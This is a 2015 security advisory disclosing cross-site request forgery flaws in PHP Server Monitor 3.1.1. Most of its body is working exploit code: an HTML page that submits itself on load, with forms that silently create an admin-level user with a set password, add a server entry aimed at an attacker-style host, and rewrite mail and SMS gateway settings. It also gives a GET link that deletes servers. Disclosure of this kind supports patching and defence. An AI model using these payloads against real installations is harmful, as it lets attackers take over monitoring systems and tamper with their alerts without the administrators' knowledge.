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PHP Server Monitor 3.1.1 Cross Site Request Forgery

Posted on 31 October 2015

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-PHPSRVMONITOR-CSRF.txt

Vendor:
================================
www.phpservermonitor.org
sourceforge.net/projects/phpservermon/files/phpservermon/PHP%20Server%20Monitor%20v3.1.1/phpservermon-3.1.1.zip/download

Product:
================================
PHP Server Monitor 3.1.1

Vulnerability Type:
=================================
Cross site request forgery (CSRF)

Vulnerability Details:
=====================

Multiple CSRF issues in PHP Server Monitor allow remote attackers to add
arbitrary users & servers to the system, modify system configurations
and delete arbitrary servers, if user (admin) is logged in and visits our
malicious website or clicks on our infected linxs. As no CRSF protection is
used in the application, we can make request on the victims behalf an the
server will happily oblige processing our malicous HTTP requests.

Exploit code(s):
===============

<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>

1) add arbitrary users to the system:

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=0"
method="post">
<input type="text" name="user_name" value="hyp3rlinx" >
<input type="text" name="name" value="hyp3rlinx">
<input type="text" name="level" value="20">
<input type="text" name="password" value="abc123">
<input type="text" name="password_repeat" value="abc123">
<input type="text" name="email" value="ghostofsin@abyss.com">
<input type="text" name="mobile" value="">
<input type="text" name="pushover_key" value="">
<input type="text" name="pushover_device" value="">
</form>

2) add arbitrary servers to the system:

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/?&mod=server&action=save&id=0&back_to="
method="post">
<input type="text" name="label" value="HELL" >
<input type="text" name="ip" value="malicious-domain.hell">
<input type="text" name="type" value="service">
<input type="text" name="port" value="666">
<input type="text" name="pattern" value="">
<input type="text" name="warning_threshold" value="1">
<input type="text" name="timeout" value="">
<input type="text" name="active" value="yes">
<input type="text" name="email" value="yes">
<input type="text" name="sms" value="yes">
<input type="text" name="pushover" value="yes">
</form>

3) modify system configuration:

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/index.php?mod=config&action=save"
method="post">
<input type="text" name="language" value="en_US" >
<input type="text" name="show_update%5B%5D=" value="on">
<input type="text" name="auto_refresh_servers" value="0">
<input type="text" name="alert_type" value="status">
<input type="text" name="log_status%5B%5D" value="on">
<input type="text" name="log_retention_period" value="1">
<input type="text" name="email_status%5B%5D" value="on">
<input type="text" name="log_email%5B%5D" value="on">
<input type="text" name="email_from_name" value="ghostofsin">
<input type="text" name="email_from_email" value="abysmalgodz@abyss.com">
<input type="text" name="email_smtp_port" value="25">
<input type="text" name="email_smtp_security" value="">
<input type="text" name="email_smtp_username" value="">
<input type="text" name="email_smtp_password" value="">
<input type="text" name="test_email" value="1">
<input type="text" name="log_sms%5B%5D" value="on">
<input type="text" name="sms_gateway" value="whatever">
<input type="text" name="sms_gateway_username" value="username">
<input type="text" name="sms_gateway_password" value="password">
<input type="text" name="sms_from" value="1234567890">
<input type="text" name="test_sms" value="0">
<input type="text" name="sms_from" value="1234567890">
<input type="text" name="log_pushover%5B%5D" value="0">
<input type="text" name="pushover_api_token" value="">
<input type="text" name="test_pushover" value="0">
</form>

</body>
</html>

4) arbitrary server deletion via GET request:

http://localhost/sectest/phpservermon-3.1.1/?&mod=server&action=delete&id=2

Exploitation Technique:
=======================
Remote

Severity Level:
=========================================================
High

Disclosure Timeline:
=========================================================
Vendor Notification: NA
Oct 30, 2015 : Public Disclosure

Description:
==========================================================

Request Method(s): [+] GET / POST

Vulnerable Product: [+] PHP Server Monitor 3.1.1

===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx

 

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